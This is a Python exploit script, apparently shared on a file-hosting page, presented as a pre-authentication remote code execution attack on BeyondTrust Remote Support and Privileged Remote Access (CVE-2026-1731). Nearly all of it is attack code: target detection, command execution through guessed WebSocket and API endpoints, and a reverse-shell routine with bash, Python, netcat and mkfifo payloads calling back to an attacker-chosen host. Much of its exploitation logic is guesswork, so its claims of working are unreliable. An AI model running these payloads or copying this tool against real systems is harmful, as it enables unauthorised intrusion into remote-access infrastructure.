Buckets:

download
raw
14.8 kB
#!/usr/bin/env python3
"""
CVE-2026-1731: BeyondTrust Remote Support / PRA RCE Exploit
CVSS: 9.9 (Critical)
Type: Pre-Authentication Remote Code Execution
This module exploits a critical vulnerability in BeyondTrust Remote Support (RS)
and Privileged Remote Access (PRA) products allowing unauthenticated RCE.
Affected Versions:
- RS: 25.3.1 and prior
- PRA: 24.3.4 and prior
Fixed Versions:
- RS: 25.3.2+
- PRA: 25.1.1+
Author: Zen-Ai-Pentest Research Team
Date: 2026
"""
import argparse
import json
import os
import ssl
import sys
from typing import Any, Dict, Optional, Tuple
from urllib.parse import urlparse
import requests
import urllib3
import websocket
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class BeyondTrustExploit:
"""
Exploit for CVE-2026-1731 - BeyondTrust Pre-Auth RCE
"""
# Known vulnerable endpoints
VULNERABLE_ENDPOINTS = [
"/api/v1/get_portal_info",
"/api/get_portal_info",
"/get_portal_info",
]
# WebSocket paths
WS_PATHS = ["/ws/", "/ws", "/websocket/", "/api/ws"]
def __init__(self, target: str, timeout: int = 30, proxy: Optional[str] = None):
"""
Initialize the exploit
Args:
target: Target URL (e.g., https://target.com)
timeout: Request timeout in seconds
proxy: Optional proxy URL (e.g., http://127.0.0.1:8080)
"""
self.target = target.rstrip("/")
self.timeout = timeout
self.session = requests.Session()
self.session.verify = os.environ.get("SSL_VERIFY", "true").lower() in ("true", "1", "yes")
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
}
self.company_id: Optional[str] = None
self.is_vulnerable: bool = False
self.version: Optional[str] = None
def detect(self) -> Tuple[bool, Optional[str]]:
"""
Detect if target is vulnerable
Returns:
Tuple of (is_vulnerable, version_string)
"""
print(f"[*] Detecting BeyondTrust version on {self.target}")
for endpoint in self.VULNERABLE_ENDPOINTS:
try:
url = f"{self.target}{endpoint}"
response = self.session.get(url, headers=self.headers, timeout=self.timeout)
if response.status_code == 200:
try:
data = response.json()
# Extract company info
if "x-ns-company" in response.headers:
self.company_id = response.headers["x-ns-company"]
# Check for version indicators
version_indicators = [
"version",
"product_version",
"server_version",
"bt_version",
"pra_version",
"rs_version",
]
for indicator in version_indicators:
if indicator in data:
self.version = data[indicator]
break
# Check if version is vulnerable
if self.version:
self.is_vulnerable = self._check_version_vulnerable(self.version)
else:
# If we can't determine version, mark as potentially vulnerable
self.is_vulnerable = True
print(f"[+] BeyondTrust detected - Version: {self.version or 'Unknown'}")
print(f"[+] Company ID: {self.company_id or 'Not found'}")
print(f"[+] Potentially vulnerable: {self.is_vulnerable}")
return self.is_vulnerable, self.version
except json.JSONDecodeError:
# Check for HTML response that might indicate BeyondTrust
if "BeyondTrust" in response.text or "Remote Support" in response.text:
print("[+] BeyondTrust instance detected (HTML response)")
self.is_vulnerable = True
return True, None
except requests.exceptions.RequestException:
continue
print(f"[-] Could not detect BeyondTrust on {self.target}")
return False, None
def _check_version_vulnerable(self, version: str) -> bool:
"""
Check if version is vulnerable
Args:
version: Version string to check
Returns:
True if version is vulnerable
"""
try:
# Parse version string
version_parts = version.split(".")
major = int(version_parts[0]) if len(version_parts) > 0 else 0
minor = int(version_parts[1]) if len(version_parts) > 1 else 0
patch = int(version_parts[2]) if len(version_parts) > 2 else 0
# RS: vulnerable if <= 25.3.1
# PRA: vulnerable if <= 24.3.4
if major < 24:
return True
elif major == 24:
if minor < 3:
return True
elif minor == 3 and patch <= 4:
return True
elif major == 25:
if minor < 3:
return True
elif minor == 3 and patch <= 1:
return True
return False
except (ValueError, IndexError):
# If we can't parse version, assume vulnerable
return True
def extract_company_info(self) -> Optional[Dict[str, Any]]:
"""
Extract company information via get_portal_info
Returns:
Dictionary with company information or None
"""
print("[*] Extracting company information...")
for endpoint in self.VULNERABLE_ENDPOINTS:
try:
url = f"{self.target}{endpoint}"
response = self.session.get(url, headers=self.headers, timeout=self.timeout)
if response.status_code == 200:
try:
data = response.json()
self.company_id = data.get("company_id") or data.get("id")
print("[+] Company info extracted:")
print(f" Company ID: {self.company_id}")
print(f" Company Name: {data.get('company_name', 'N/A')}")
return data
except json.JSONDecodeError:
continue
except requests.exceptions.RequestException:
continue
return None
def establish_websocket(self, company_id: str) -> Optional[websocket.WebSocket]:
"""
Establish WebSocket connection
Args:
company_id: Company ID for connection
Returns:
WebSocket connection or None
"""
print("[*] Attempting WebSocket connection...")
for ws_path in self.WS_PATHS:
ws_url = f"wss://{urlparse(self.target).netloc}{ws_path}"
try:
ws = websocket.create_connection(
ws_url,
header={
"x-ns-company": company_id,
"User-Agent": self.headers["User-Agent"],
},
sslopt={"cert_reqs": ssl.CERT_NONE},
timeout=self.timeout,
)
print(f"[+] WebSocket connection established: {ws_url}")
return ws
except Exception:
continue
print("[-] Could not establish WebSocket connection")
return None
def execute_command(self, command: str, technique: str = "websocket") -> Tuple[bool, str]:
"""
Execute command on target system
Args:
command: Command to execute
technique: Exploitation technique (websocket, api_injection)
Returns:
Tuple of (success, output)
"""
if not self.is_vulnerable:
print("[-] Target not detected as vulnerable")
return False, ""
if not self.company_id:
self.extract_company_info()
print(f"[*] Attempting command execution: {command}")
if technique == "websocket":
return self._exploit_websocket(command)
elif technique == "api_injection":
return self._exploit_api_injection(command)
else:
return False, "Unknown technique"
def _exploit_websocket(self, command: str) -> Tuple[bool, str]:
"""
Exploit via WebSocket
Args:
command: Command to execute
Returns:
Tuple of (success, output)
"""
ws = self.establish_websocket(self.company_id or "default")
if not ws:
return False, "WebSocket connection failed"
try:
# Craft malicious WebSocket message
payload = {
"action": "execute",
"command": command,
"company_id": self.company_id,
}
ws.send(json.dumps(payload))
response = ws.recv()
ws.close()
try:
result = json.loads(response)
if "output" in result or "result" in result:
output = result.get("output") or result.get("result", "")
print("[+] Command executed successfully")
return True, output
except json.JSONDecodeError:
if response:
return True, response
except Exception as e:
return False, str(e)
return False, ""
def _exploit_api_injection(self, command: str) -> Tuple[bool, str]:
"""
Exploit via API injection
Args:
command: Command to execute
Returns:
Tuple of (success, output)
"""
injection_endpoints = [
"/api/v1/execute",
"/api/execute",
"/api/v1/run",
"/api/run",
]
for endpoint in injection_endpoints:
try:
url = f"{self.target}{endpoint}"
# Try various injection payloads
payloads = [
{"command": command, "company_id": self.company_id},
{"cmd": command, "id": self.company_id},
{"exec": command, "company": self.company_id},
{"shell": command},
]
for payload in payloads:
response = self.session.post(
url,
json=payload,
headers=self.headers,
timeout=self.timeout,
)
if response.status_code == 200:
try:
result = response.json()
output = result.get("output") or result.get("result", "")
if output:
print("[+] Command executed via API injection")
return True, output
except (ValueError, AttributeError):
if len(response.text) > 0:
return True, response.text
except requests.exceptions.RequestException:
continue
return False, "API injection failed"
def get_shell(self, reverse_host: str, reverse_port: int) -> bool:
"""
Get reverse shell
Args:
reverse_host: Callback host
reverse_port: Callback port
Returns:
True if shell command sent successfully
"""
# Various reverse shell payloads
shells = [
f"bash -i >& /dev/tcp/{reverse_host}/{reverse_port} 0>&1",
(
f"python3 -c 'import socket,subprocess,os;"
f"s=socket.socket();"
f's.connect(("{reverse_host}",{reverse_port}));'
f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);"
f"os.dup2(s.fileno(),2);"
f'subprocess.call(["/bin/sh"])\''
),
f"nc -e /bin/sh {reverse_host} {reverse_port}",
f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {reverse_host} {reverse_port} >/tmp/f",
]
for shell in shells:
success, _ = self.execute_command(shell)
if success:
print(f"[+] Reverse shell payload sent to {reverse_host}:{reverse_port}")
return True
return False
def main():
parser = argparse.ArgumentParser(description="CVE-2026-1731 BeyondTrust RCE Exploit")
parser.add_argument("-t", "--target", required=True, help="Target URL")
parser.add_argument("-c", "--command", help="Command to execute")
parser.add_argument("--reverse-host", help="Reverse shell callback host")
parser.add_argument("--reverse-port", type=int, help="Reverse shell callback port")
parser.add_argument("--detect-only", action="store_true", help="Only detect vulnerability")
parser.add_argument("--timeout", type=int, default=30, help="Request timeout")
parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = BeyondTrustExploit(target=args.target, timeout=args.timeout, proxy=args.proxy)
# Detection phase
is_vuln, version = exploit.detect()
if args.detect_only:
sys.exit(0 if is_vuln else 1)
if not is_vuln:
print("[-] Target does not appear to be vulnerable")
sys.exit(1)
# Exploitation phase
if args.reverse_host and args.reverse_port:
exploit.get_shell(args.reverse_host, args.reverse_port)
elif args.command:
success, output = exploit.execute_command(args.command)
if success:
print(f"[+] Output:\n{output}")
else:
print("[-] Command execution failed")
else:
print("[*] Use --command to execute a command or --reverse-host/--reverse-port for reverse shell")
if __name__ == "__main__":
main()

Xet Storage Details

Size:
14.8 kB
·
Xet hash:
2c5d4aa83443d90a188d0f51085467c277d66f4ba8d8076a5d48a9075ff51b69

Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.